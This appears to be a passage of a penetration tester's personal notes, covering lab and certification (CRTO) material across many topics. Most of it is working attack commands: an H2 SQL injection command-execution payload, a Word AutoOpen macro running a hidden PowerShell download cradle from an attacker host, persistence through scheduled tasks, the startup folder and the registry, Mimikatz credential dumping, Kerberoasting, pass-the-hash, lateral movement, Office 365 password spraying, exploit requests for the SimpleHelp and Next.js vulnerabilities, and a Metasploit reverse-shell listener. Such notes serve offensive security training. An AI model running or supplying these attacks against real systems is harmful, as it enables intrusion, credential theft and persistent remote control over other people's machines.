```sql
1'; CREATE ALIAS EXECVE AS 'String execve(String cmd) throws java.io.IOException { return new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").hasNext() ? new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next() : ""; }'; --
```

after that you can do&#x20;

```python
1' union select 1,2,execve('whoami')-- # this should get executed
```


# Regex Bypass

## Regex101

If we want to bypass a regex, first we need to understand it. for that i will be going to use the below link

{% embed url="<https://regex101.com/>" %}

lets say we have the following regex&#x20;

```python
^([a-zA-Z0-9_.-])+@(([a-zA-Z0-9-])+.)+([a-zA-Z0-9]{2,4})+$
```

i will paste this to **regex101** and try to understand it

<figure><img src="/files/eYuZiYCrbHBAgBznDXEt" alt=""><figcaption></figcaption></figure>

now i will try to add a random email address to see wether i can bypass the regex or not, and i can see that my email has been caught by the regex

<figure><img src="/files/QZ4iWmIz6IGg97bheF87" alt=""><figcaption></figcaption></figure>

now i will try to bypass it using the following email

```python
jjjjjjjjjjjjjjjjjjjjjjjjjjjj@ccccccccccccccccccccccccccccc.55555555555555555555555555555555555555555555555555555555.
```

<figure><img src="/files/NAVUsxqouz4W3pUPwOdr" alt=""><figcaption></figcaption></figure>

and now regex has been bypassed

## JEX.IM

We can use the Second website to understand the regex

{% embed url="<https://jex.im/regulex/>" %}

so i can paste the same regex used above and understand it

<figure><img src="/files/M8AQ7USgMUKsspUp2Epm" alt=""><figcaption></figcaption></figure>


# Grep & Regex & Find strings

## Grep To find Files and Strings

We can use GREP to find some keywords and files and some special strings

<pre class="language-python"><code class="lang-python">grep -inr password

<strong>i is for case insensitivity
</strong>n is for line number
r is for recursively

this command will recursively search for the keyword password 
</code></pre>

## Grep to find strings using Regex

lets say we have a file with a certain line

<figure><img src="/files/ihcJATddSU3J7tXcal6L" alt=""><figcaption></figcaption></figure>

now i need to find in how many files this line exists, so i can use regex with grep

```python
grep -rnw $(pwd) -e "^.*user_location.*public.*" --color


$(pwd)- means your current working directory in which you want to find
        otherwise give the complete path of the directory here
        
this command will find you the all files having above line 
```

## Egrep to do Advanced Regex

We can use egrep for more advanced regular expressions, below is the egrep command with more advacned regex which finds for $addslahses keyword and whatever is after that.

```
egrep '\$addslashes.*=.*' $(pwd) -r --color
```

## Find Command

```
find / -iname "*.html"
```


# Wireless Methodology and Commands

This Page will provide you all the commands and tools for the wireless pentesting.

## Enumeration Commands&#x20;

```python
iwconfig # command to see the interfaces.
sudo airmon-ng  # Command to see interfaces as well.

## Enable Monitor Mode
sudo airmon-ng check kill  ## this will kill any relevant processes which causes issues.
sudo airmon-ng start wlan0 ## this will start the monitor mode.

## Manual Approach if above fails
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

## Network Scanning
sudo airodump-ng wlan0mon ## this will start scanning for networks
```

## WPS Commands

```python
airodump-ng --wps wlan0mon ## Enumerate available Wi-Fi networks with WPS using airodump-ng.
wash -i wlan0mon ## Enumerate available Wi-Fi networks with WPS using wash.
wash -j -i wlan0mon ## Enumerate available Wi-Fi networks with WPS using wash with verbose output.
```


# Python Code Snippets

## Code to Send a Get Request to a URL and Print Response and Headers

this code will do a get request on the URL and then print the request headers and response

Below in the target URL i have passed IP address and Injection Point as %s which i will supply on command line

```python
import sys
import requests
from bs4 import BeautifulSoup
import json

def search_friends(ip, param):
    target = "http://%s/ATutor/mods/_standard/social/index_public.php?q=%s" % (ip, param)
    r = requests.get(target)
    s = BeautifulSoup(r.text, 'lxml')
    print()
    print("Request Headers:")
    print(json.dumps(dict(r.request.headers), indent=4))
    print()
    print("Response Headers:")
    print(json.dumps(dict(r.headers), indent=4))
    print()
    print("Response Content:")
    print(s.text)

def main():
    if len(sys.argv) != 3:
        print("Please supply 2 parameters")
        sys.exit(1)
    ip = sys.argv[1]
    inj_str = sys.argv[2]

    search_friends(ip, inj_str)

if __name__ == "__main__":
    main()
```

<figure><img src="/files/u2ebwC4gXU55e4xCuyoh" alt=""><figcaption><p>in this example we supplied 2 command line arguments</p></figcaption></figure>


# CRTO & Cobalt Strike

This Page contains all the notes which are required to pass the CRTO  Exam and it also contains the lab instructions as well

## Setting Up Cobalt Strike on Windows Machine

To start Cobalt Strike We need 2 things

1. Team Server (This will only be run on the Linux machine)
2. Cobalt Strike Client

### Setting Up TeamServer

First, we need to have a Linux box on which teamserver will run so I already have that, I will open my Linux box on the Windows machine and then run the teamserver

```
sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile
```

* `10.10.5.50` is the IP address of the Attacker Linux VM.
* `Passw0rd!` is the shared password used to connect from the Cobalt Strike client.
* `webbug.profile` is an example Malleable C2 profile (covered in more detail later).

<figure><img src="/files/nbV7hQY2AFNcc5QHSxDn" alt=""><figcaption></figcaption></figure>

Now Teamserver is all good to go so we need to start cobalt strike now

### Starting Cobalt Strike Client

Now after the teamserver is started then we need to start the Cobalt Strike Client and provide the details

<figure><img src="/files/cEBujnUMMkelOm1vktST" alt=""><figcaption></figcaption></figure>

1. I added a random Alias
2. Host Should be the one where Teamserver is Running
3. You can add any Username
4. Password should be the same which you selected on the Teamserver&#x20;

<figure><img src="/files/Z3PT1g2ifo6vsFm81mj0" alt=""><figcaption><p>Cobalt Strike Started Successfully</p></figcaption></figure>

## Listeners in Cobalt Strike

We can set up some listeners in cobalt strike by press the headphones button on the top

<figure><img src="/files/uXWco6coDvNn9GsWeEaB" alt=""><figcaption></figcaption></figure>

now we can click the add button at the bottom and then add some listeners, we can set

1. http
2. dns
3. https
4. smb

below is an example of the HTTP listener

<figure><img src="/files/eLEs4FaEmWoi9mnR6aI1" alt=""><figcaption></figcaption></figure>

&#x20;in the same way we can set all the listeners

### Smb Listener

For smb listener we can see the pipes on our own system and choose any one of the found, we will not use the cobalt strike default one because that can be easily detected by the AVs.

<figure><img src="/files/hgi5c3QaimbTiGbXTDVw" alt=""><figcaption></figcaption></figure>

we can use any of the above and set the listener

## All Listeners setup done

<figure><img src="/files/wgziXN8ollz1RJ7GDT4f" alt=""><figcaption></figcaption></figure>

## Running Cobalt Strike As a Service

We can run cobalt strike as a service so once we start our linux machine we dont need to run teamserver again and again&#x20;

first we need to create a file in `/etc/systemd/system`

```
sudo nano /etc/systemd/system/teamserver.service
```

then add the following content in it

```
[Unit]
Description=Cobalt Strike Team Server
After=network.target
StartLimitIntervalSec=0

[Service]
Type=simple
Restart=always
RestartSec=1
User=root
WorkingDirectory=/home/attacker/cobaltstrike
ExecStart=/home/attacker/cobaltstrike/teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile

[Install]
WantedBy=multi-user.target
```

<figure><img src="/files/JJ0P2IUxYwfZYLM55ghK" alt=""><figcaption></figcaption></figure>

now we need to reload the system manager&#x20;

```
sudo systemctl daemon-reload
```

now lets see the status of the teamserver service we created

```
sudo systemctl status teamserver.service
```

<figure><img src="/files/vZQd7TXdurpXwBCnAvDO" alt=""><figcaption></figcaption></figure>

now lets start the teamserver service

```
sudo systemctl start teamserver.service
```

and lets enable the teamserver service as well

```
sudo systemctl enable teamserver.service
```

now everytime the linux machine starts the teamserver service will run automatically.

<figure><img src="/files/9IvTXdFR17kOImJhxVmt" alt=""><figcaption><p>Cobakt Strike Teamserver started successfully</p></figcaption></figure>

## Generating All Payloads using Cobalt Strike

We can generate all payload in Cobalt Strike, i will choose the last option **Windows Stageless Generate All Payloads**

<figure><img src="/files/Uw1U4Qxu7cUdJ40RVTxG" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gDuqzwUT3Wc2aTleDxgL" alt=""><figcaption></figcaption></figure>

now all the payloads will be generated in the C:\Paylaods

<figure><img src="/files/ynrEJ5aS6Zy8I9Yibebb" alt=""><figcaption></figcaption></figure>

## Creating Macro With Cobalt Strike

We can open word and go to **View->Macros->Create Macro**&#x20;

Make sure you write the name **AutoOpen** and select document1 from the drop Down

<figure><img src="/files/fy65J9DwIKofxX1i1XGm" alt=""><figcaption></figcaption></figure>

Now i will write a small code to open notepad

```
Sub AutoOpen()

  Dim Shell As Object
  Set Shell = CreateObject("wscript.shell")
  Shell.Run "notepad"

End Sub
```

then we need to save it and run it and we will see notepad running

<figure><img src="/files/om8alWJytTSbLYGd7VtI" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/pjbxaXiX6njAJZOMo15K" alt=""><figcaption></figcaption></figure>

### Macro For Reverse Shell in Cobalt Strike

Now i will use the Cobalt Strike Scripted Web Delivery to Host a payload and get a reverse shell

<figure><img src="/files/nGVOptJQV0NM1O2FUWME" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/sMRFJhqDJi2odhqFlKYP" alt=""><figcaption></figcaption></figure>

now my payload will be hosted and we will get the following command which we can insert in the macro and once the macro&#x20;

```
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.50:80/a'))"
```

<figure><img src="/files/gtnp5cnuX3igCUe85JUn" alt=""><figcaption></figcaption></figure>

below is how the final code will look like, **make sure you use 2 double quots to escape**

```
Sub AutoOpen()

  Dim Shell As Object
  Set Shell = CreateObject("wscript.shell")
  Shell.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://10.10.5.50:80/a'))"""

End Sub

```

<figure><img src="/files/RZXSvMUhN2Id9YuoF6Gp" alt=""><figcaption></figcaption></figure>

in site management i can see that my payload is hosted and listening on port 80

<figure><img src="/files/qWpdObFizIqp4DotUbLP" alt=""><figcaption></figcaption></figure>

once someone opens the macro i will get a reverse shell in my cobalt strike&#x20;

<figure><img src="/files/EiLaJ1ErX0oqBJUlOHKV" alt=""><figcaption></figcaption></figure>

## Cobalt Strike Commands&#x20;

```python
ps ----> to see the processes so we can see the AV or Endpoint Protection Processes
execute-assembly --->  (executable-file) ----> execute-assembly seatbelt.exe -group=system ---> run any exectubale file using this

Screenshots ----> take screenshots

keylogger -----> record what the target is typing

Clipboard ----> this will show us what he has copied to clipboard (not images)

net logons  ----> we will see that which users have logged into the system in the past and currently as well
```

## Persistence Techniques

Persistence is a method of regaining or maintaining access to a compromised machine, without having to exploit the initial compromise steps all over again. Workstations are volatile since users tend to logout or reboot them frequently.

If you've gained initial access through a phishing campaign, it's unlikely you'll be able to do so again if your current Beacon is lost, which could be the end of the engagement. If you're on an assume-breach (or indeed in this lab) and have access to an internal host, the loss of complete access to the environment is less of a concern. However, you may still need to drop one or more persistence mechanisms on hosts you control if your simulated threat would also do so.

**Common userland persistence methods include:**

* **HKCU / HKLM Registry Autoruns**
* **Scheduled Tasks**
* **Startup Folder**

**Cobalt Strike doesn't include any built-in commands specifically for persistence.** [**SharPersist**](https://github.com/fireeye/SharPersist) **is a Windows persistence toolkit written by FireEye. It's written in C#, so can be executed via `execute-assembly`.**

### Persistence using Task Scheduler

The Windows Task Scheduler allows us to create "tasks" that execute on a pre-determined trigger. That trigger could be a time of day, on user-logon, when the computer goes idle, when the computer is locked, or a combination thereof.

i will now first convert the powershell download cradle into base64 so i can get rid of the double quotations and special characters problem

<pre><code>$str = 'IEX ((new-object net.webclient).downloadstring("http://nickelviper.com/a"))'
<strong>
</strong><strong>[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
</strong></code></pre>

<figure><img src="/files/OsnbN6kMkjvti0GMoHcb" alt=""><figcaption></figcaption></figure>

Now i will use SharpPersist&#x20;

```
execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -n "Updater" -m add -o hourly
```

<figure><img src="/files/pw9LlsMlmST6WM9I5TVu" alt=""><figcaption></figcaption></figure>

i can confirm on the target system as well by going to the task scheduler as well.

<figure><img src="/files/LtChzB9wdnoT02BywPTr" alt=""><figcaption></figcaption></figure>

### Persistence Using Startup Folder

Applications, files and shortcuts within a user's startup folder are launched automatically when they first log in. It's commonly used to bootstrap the user's home environment (set wallpapers, shortcut's etc).

```
execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwBuAGkAYwBrAGUAbAB2AGkAcABlAHIALgBjAG8AbQAvAGEAIgApACkA" -f "UserEnvSetup" -m add
```

<figure><img src="/files/yPrkiiX2Degs7lk5T81H" alt=""><figcaption></figcaption></figure>

We can go to the startup folder on the target machine to confirm

```
C:\Users\Programmerboy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
```

<figure><img src="/files/WUG3BVGcm7WA0MtsFlGH" alt=""><figcaption><p>Our Startup Reverse shell is Present</p></figcaption></figure>

### Persistence Using Registry AutoRuns

AutoRun values in HKCU and HKLM allow applications to start on boot. You commonly see these to start native and 3rd party applications such as software updaters, download assistants, driver utilities and so on.

For this we need to uplaod our exe file to the target machine and then set it to run on every boot

<figure><img src="/files/4Mvm6ivyY5OWqaIfQmQH" alt=""><figcaption><p>I will rename this to updater.exe</p></figcaption></figure>

```
execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t reg -c "C:\ProgramData\Updater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add
```

<figure><img src="/files/0QtDAiUvqdEqgu3mjqt1" alt=""><figcaption></figcaption></figure>

## Mimikatz in Cobalt Strike

Cobalt Strike has a built-in version of Mimikatz that we can use to extract various credential types. However, there are some differences with how it behaves in Beacon compared to the console version. Each time you execute Mimikatz in Beacon, it does so in a new temporary process which is then destroyed. This means you can't run two "related" commands, such as:

```
beacon> mimikatz token::elevate
beacon> mimikatz lsadump::sam
```

Since CS 4.8, you can chain multiple commands together by separating them with a semi-colon.

```
beacon> mimikatz token::elevate ; lsadump::sam
```

The `!` elevates Beacon to SYSTEM before running the given command, which is useful in cases where you're running in high-integrity but need to impersonate SYSTEM.  In most cases, `!` is a direct replacement for `token::elevate`. For example:

```
beacon> mimikatz !lsadump::sam

```

### NTLM Hashes&#x20;

```
beacon> mimikatz !sekurlsa::logonpasswords
```

We can alos use shorthand command for this in cobalt strike

```
logonpasswords
```

<figure><img src="/files/doGQtuS1qpoMlNKO7Yq6" alt=""><figcaption></figcaption></figure>

### Kerberos Encryption keys

```
beacon> mimikatz !sekurlsa::ekeys
```

<figure><img src="/files/T42aeiOOdvLFBwnZ3QKa" alt=""><figcaption></figcaption></figure>

### SAM File

The Security Account Manager (SAM) database holds the NTLM hashes of local accounts only.  These can be extracted with the `lsadump::sam` Mimikatz module.  If a common local administrator account is being used with the same password across an entire environment, this can make it very trivial to move laterally.

```
 beacon> mimikatz !lsadump::sam
```

<figure><img src="/files/QglzugzjT775rN3848B5" alt=""><figcaption></figcaption></figure>

### Domain Cached Creds

Unfortunately, the hash format is not NTLM so it can't be used with pass the hash.  The only viable use for these is to crack them offline.

The `lsadump::cache` Mimikatz module can extract these from `HKLM\SECURITY`.

```
mimikatz !lsadump::cache
```

To crack these with [hashcat](https://hashcat.net/hashcat/), we need to transform them into the expected format. The [example hashes page](https://hashcat.net/wiki/doku.php?id=example_hashes) shows us it should be `$DCC2$<iterations>#<username>#<hash>`.

### Extracting Kerberos Tickets

One unfortunate consequence of the aforementioned techniques is that they obtain handles to sensitive resources, which can be audited and logged quite easily.  [Rubeus](https://github.com/GhostPack/Rubeus) is a C# tool designed for Kerberos interaction and abuses, using legitimate Windows APIs.

Its `triage` command will list all the Kerberos tickets in your current logon session and if elevated, from all logon sessions on the machine.

```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
```

Rubeus' `dump` command will extract these tickets from memory - but because it uses WinAPIs, it does not need to open suspicious handles to LSASS.  If not elevated, we can only pull tickets from our own session.  Without any further arguments, Rubeus will extract all tickets possible, but we can be more specific by using the `/luid` and `/service` parameters.

For example, if we only wanted the TGT for jking, we can do:

```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x7049f /service:krbtgt
```

### DCSync&#x20;

The [Directory Replication Service (MS-DRSR) protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47) is used to synchronise and replicate Active Directory data between domain controllers.  DCSync is a technique which leverages this protocol to extract username and credential data from a DC.

Beacon has a dedicated `dcsync` command, which calls `mimikatz lsadump::dcsync` in the background.

## Domain Reconnaisance'

### Powerview

First we will Import it in the memory

```
beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
```

We can run the following Commands to Enumerate the Domain

**To Get Information about the domain**

```
beacon> powershell Get-Domain
```

**Returns the domain controllers for the current or specified domain.**

```
beacon> powershell Get-DomainController | select Forest, Name, OSVersion | fl
```

**Returns all domains for the current forest or the forest specified by `-Forest`.**

```
beacon> powershell Get-ForestDomain
```

**Returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller. Useful for finding information such as the domain password policy.**

```
beacon> powershell Get-DomainPolicyData | select -expand SystemAccess
```

**Return all (or specific) user(s). To only return specific properties, use `-Properties`. By default, all user objects for the current domain are returned, use `-Identity` to return a specific user.**

```
beacon> powershell Get-DomainUser -Identity jking -Properties DisplayName, MemberOf | fl
```

**Return all computers or specific computer objects.**

```
beacon> powershell Get-DomainComputer -Properties DnsHostName | sort -Property DnsHostName
```

**Search for all organization units (OUs) or specific OU objects.**

```
beacon> powershell Get-DomainOU -Properties Name | sort -Property Name
```

**Return all domain groups or specific domain group objects.**

```
beacon> powershell Get-DomainGroup | where Name -like "*Admins*" | select SamAccountName
```

**Return the members of a specific domain group.**

```
beacon> powershell Get-DomainGroupMember -Identity "Domain Admins" | select MemberDistinguishedName
```

**Return all Group Policy Objects (GPOs) or specific GPO objects. To enumerate all GPOs that are applied to a particular machine, use `-ComputerIdentity`.**

```
beacon> powershell Get-DomainGPO -Properties DisplayName | sort -Property DisplayName
```

**Returns all GPOs that modify local group membership through Restricted Groups or Group Policy Preferences. You can then manually find which OUs, and by extension which computers, these GPOs apply to.**

```
beacon> powershell Get-DomainGPOLocalGroup | select GPODisplayName, GroupName
```

**Enumerates the machines where a specific domain user/group is a member of a specific local group. This is useful for finding where domain groups have local admin access, which is a more automated way to perform the manual cross-referencing described above.**

```
beacon> powershell Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName | fl
```

**Return all domain trusts for the current or specified domain**

```
beacon> powershell Get-DomainTrust
```

## User Impersonation

### Pass The Hash Attack

If we have the NTLM hash of the user we can use cobalt strike to do pass the hash attack, after passing the hash we can easily List the C$ drive of the other computer to see wether we can list those or not.

```
beacon> pth DEV\jking 59fc0f884922b4ce376051134c71e22c
```

### Pass the Ticket&#x20;

```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /luid:0x798c2c /ticket:doIFuj[...snip...]lDLklP
```

## Lateral Movement

Moving laterally between computers in a domain is important for accessing sensitive information/materials, and obtaining new credentials.  Cobalt Strike provides three strategies for executing Beacons/code/commands on remote targets.

The first and most convenient is to use the built-in `jump` command - the syntax is `jump [method] [target] [listener]`.  Type `jump` to see a list of methods.  This will spawn a Beacon payload on the remote target, and if using a P2P listener, will connect to it automatically.

The second strategy is to use the built-in `remote-exec` command - the syntax is `remote-exec [method] [target] [command]`.  Type `remote-exec` to see a list of methods.

Each of these strategies are compatible with the various techniques described in the **User Impersonation** chapter.  For example, you can use `pth` to impersonate a user and then `jump` to move laterally.

### Remote-exec

```
beacon> remote-exec winrm web.dev.cyberbotic.io whoami
```

### Jump

```
beacon> jump winrm64 web.dev.cyberbotic.io smb
```

```
beacon> jump psexec64 web.dev.cyberbotic.io smb
```

```
beacon> jump psexec_psh web smb
```

## Kerberoasting Using Cobalt Strike

We can use **rubeus** to find and get the TGS for the kerberoastable Users, below command will find all the kerberoastable users and give us the TGS back

```python
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /simple /nowrap
```

A much safer approach is to enumerate possible candidates first and roast them selectively. This LDAP query will find domain users who have an SPN set.

```
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName
```

Now I can target a specific user for kerberoasting as well, We can roast an individual account the `/user` paramete

```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast /user:mssql_svc /nowrap
```

## AS-REP Roasting Using Cobalt Strike

If a user does not have Kerberos pre-authentication enabled, an AS-REP can be requested for that user, and part of the reply can be cracked offline to recover their plaintext password.

As with kerberoasting, we don't want to asreproast every account in the domain.

```
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname
```

We can use the below command with rubeus to do AS-REP Roasting on user squid\_svc

```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asreproast /user:squid_svc /nowrap
```

## Unconstrained delegation using Cobalt strike

This query will return all computers that are permitted for unconstrained delegation.

```
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname
```

&#x20; Rubeus `triage` will show all the tickets that are currently cached.  TGTs can be identified by the krbtgt service.

```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
```

We can simply extract this TGT and leverage it via a new logon session.

```
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x14794e /nowrap
```

## Microsoft Defender and Bypass

### Command to Check malicious File

```
# In Powershell

Get-MpThreatDetection | Sort-Object InitialDetectionTime | Select-Object -First 5
```

<figure><img src="/files/qoZaBWDY8lqnNloDngse" alt=""><figcaption></figcaption></figure>


# Email Spoofing

We can use **spoofy** to find out Weak Email Security, Weak email security (SPF, DMARC and DKIM) may allow us to spoof emails to appear as though they’re coming from their own domain.  [Spoofy](https://github.com/MattKeeley/Spoofy) is a Python tool that can verify the email security of a given domain.

<https://github.com/MattKeeley/Spoofy>

<figure><img src="/files/JCz3pcnTtrQOCDJixdw4" alt=""><figcaption></figcaption></figure>


# Attacking Office 365 & Exchange

In this Case scenario i have a subdomain that is mail.redacted.io, i will now password spray against this domain so that i can phish the target, for this i will use **MailSniper**

{% embed url="<https://github.com/dafthack/MailSniper>" %}

Enumerate the NetBIOS name of the target domain with `Invoke-DomainHarvestOWA`.

```
Invoke-DomainHarvestOWA -ExchHostname mail.redacted.io
```

<figure><img src="/files/lBwRGq07denR2QXFBoRL" alt=""><figcaption></figcaption></figure>

now we need to find the valid usernames so we can do username enumeration, you can find it by alot of methods like public website or **hunter.io,** now we will start our attack on the mail subdomain, `Invoke-UsernameHarvestOWA` uses a timing attack to validate which (if any) of these usernames are valid.

```
Invoke-UsernameHarvestOWA -ExchHostname mail.redacted.io -Domain redacted.io -UserList .\Desktop\possible.txt -OutFile .\Desktop\valid.txt
```

<figure><img src="/files/gCxuDwAuBnH11l7giTgj" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/OwO5EGPwEAzfD0HkwAVr" alt=""><figcaption></figcaption></figure>

we have found 3 valid usernames now we will try to password spray as well using mailsniper and we will use the password of Summer2022 just to test because alot of organizations are using the default password

```
Invoke-PasswordSprayOWA -ExchHostname mail.redacted.io -UserList .\Desktop\valid.txt -Password Summer2022
```

<figure><img src="/files/AceXX7nCvJDq91FiqVBn" alt=""><figcaption></figcaption></figure>

now we have the valid username and password so we need to enumerate some more information from these valid credentials

so we will try to download the GAL list which is **GLOABL ADDRESS LIST** that contains the list of emails and some other potential data

```
Get-GlobalAddressList -ExchHostname mail.redacted.io -UserName redacted.io\iyates -Password Summer2022 -OutFile .\Desktop\gal.txt
```

<figure><img src="/files/0voPoJZvQNq66BMCR4aC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/nkMsRVVYHgAB4eyyYJsv" alt=""><figcaption></figcaption></figure>


# Enumeration

## AWSCLI Configuration

We can configure Profile using awscli

```python
aws configure --profile McDuck
```

<figure><img src="/files/20MkjMMQpX1uNZn4WFiV" alt=""><figcaption></figcaption></figure>

## Getting Basic Information

First Thing you need to do after setting the credentials is that you need to see your details and information

```python
aws sts get-caller-identity --profile user1
aws iam get-user
```

<figure><img src="/files/sHeaRB7EwESBS4qf4yzT" alt=""><figcaption></figcaption></figure>

### List Groups&#x20;

```bash
aws --profile user4 iam list-groups-for-user --user-name r_waterhouse
```

<figure><img src="/files/BSAT6VyIMPm3P6tuysvV" alt=""><figcaption></figcaption></figure>

### List Policies

```
aws --profile user4 iam list-group-policies --group-name cg-developers
```

<figure><img src="/files/yiuvdp7Hqjul5b6YU0da" alt=""><figcaption></figcaption></figure>

### List Group Policy

```python
aws --profile user4 iam get-group-policy --group-name cg-developers --policy-name developer_policy
```

<figure><img src="/files/YFqhUSkj9fw9ZO7xYMTS" alt=""><figcaption></figcaption></figure>

## S3 Buckets

### List s3 Buckets

```python
aws s3 ls --profile McDuck
```

<figure><img src="/files/MV6szRy6jbcARqjHx84v" alt=""><figcaption></figcaption></figure>

### Recursively Look at the S3 Buckets

We can recursively see the S3 Buckets

```python
aws s3 ls s3://cg-keystore-s3-bucket-rce-webapp --recursive --profile McDuck
```

<figure><img src="/files/zh7IUgduy0AK3kDEeDGR" alt=""><figcaption></figcaption></figure>

### Download Files From S3 Buckets

```
aws s3 cp s3://cg-keystore-s3-bucket-rce-webapp/cloudgoat . --profile McDuck
```

<figure><img src="/files/32t1RsEuRgBgTDqrqr1y" alt=""><figcaption></figcaption></figure>

## Describe-Instances

```
aws ec2 describe-instances --profile McDuck
```

<figure><img src="/files/rmGPtIh9n2gdEuPLn4Zc" alt=""><figcaption></figcaption></figure>

## Describe DB Instances

```
aws rds describe-db-instances --region us-east-1
```

<figure><img src="/files/TqjjQ23E3sEdgqxLHBU4" alt=""><figcaption></figcaption></figure>


# Simplehelp CVE-2024-57727

[SimpleHelp](https://simple-help.com/) is a system that facilitates remote support, access, and work, among other uses. It is mainly used by IT professionals and support teams to allow them to support their users remotely. It can be installed on Linux, MS Windows, and macOS servers.

CVE-2024-57727 for SimpleHelp is a path traversal vulnerability.

After various vulnerabilities affecting other remote support and remote access software were discovered, Horizon3.ai was curious to check SimpleHelp’s software. In their [blog post](https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/), they state to have discovered three vulnerabilities: [CVE-2024-57726](https://nvd.nist.gov/vuln/detail/CVE-2024-57726), [CVE-2024-57727](https://nvd.nist.gov/vuln/detail/CVE-2024-57727), and [CVE-2024-57728](https://nvd.nist.gov/vuln/detail/CVE-2024-57728)

## Vulnerability Check

We can check this vulnerability by using this exploit <https://github.com/imjdl/CVE-2024-57727>

```python
python poc.py http://10.10.161.39
```

<figure><img src="/files/LAYC5h60EjGWHFHqlIug" alt=""><figcaption></figcaption></figure>

## Exploitation (Windows Server)

We can exploit this by getting serverconfig.xml file

```python
curl --path-as-is http://10.10.161.39/toolbox-resource/../resource1/../../configuration/serverconfig.xml
```

<figure><img src="/files/j7MiK8yFQjbnZtdcJaB0" alt=""><figcaption></figcaption></figure>

now we are able to access files on the server.

## Exploitation (Linux Server)

```
curl --path-as-is http://10.10.206.185/toolbox-resource/../secmsg/../../configuration/serverconfig.xml
```


# Next.js CVE-2025-29927

Next.js is a web development framework developed by Vercel to simplify the creation of high-performance web applications. Built on top of React, Next.js extends React’s capabilities by adding several features, such as static site generation (SSG) and server-side rendering (SSR). SSG pre-generates pages at build time, allowing faster delivery to users; moreover, SSR renders pages at request time, reducing load time. In brief, Next.js added features to improve performance and user experience.

CVE-2025-29927, a recent vulnerability discovered by Rachid and Yasser Allam in Next.js, revealed that it is possible to bypass authorisation checks if they occur in middleware. Middleware is the part that grants developers control over incoming requests. It acts as a bridge between the incoming request and the routing system. The routing system is file-based, i.e., routes are created and managed by organising files and directories. This vulnerability allows attackers to bypass middleware-based authorisation, and all versions before 14.2.25 and 15.2.3 are prone to this vulnerability.

## Exploitation using Curl

We can exploit this CVE by using a Special Header

```python
x-middleware-subrequest: middleware
```

```
curl -H "x-middleware-subrequest: middleware" http://10.10.207.214:3000/protected
```

## Exploitation using BurpSuite

Without Header

<figure><img src="/files/JoQddKG2SuTM5nAygVJM" alt=""><figcaption></figcaption></figure>

With Header

<figure><img src="/files/eROkpA0pnmtyqeN46XDK" alt=""><figcaption></figcaption></figure>


# Metasploit

## Msfconsole Listener 1 Liner

```python
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 191.96.31.13; set LPORT 4444; set EXITONSESSION FALSE; exploit -j"
```

<figure><img src="/files/uQ6qghwwcsPYZ0omu6Su" alt=""><figcaption></figcaption></figure>


# Docker For Pentesting

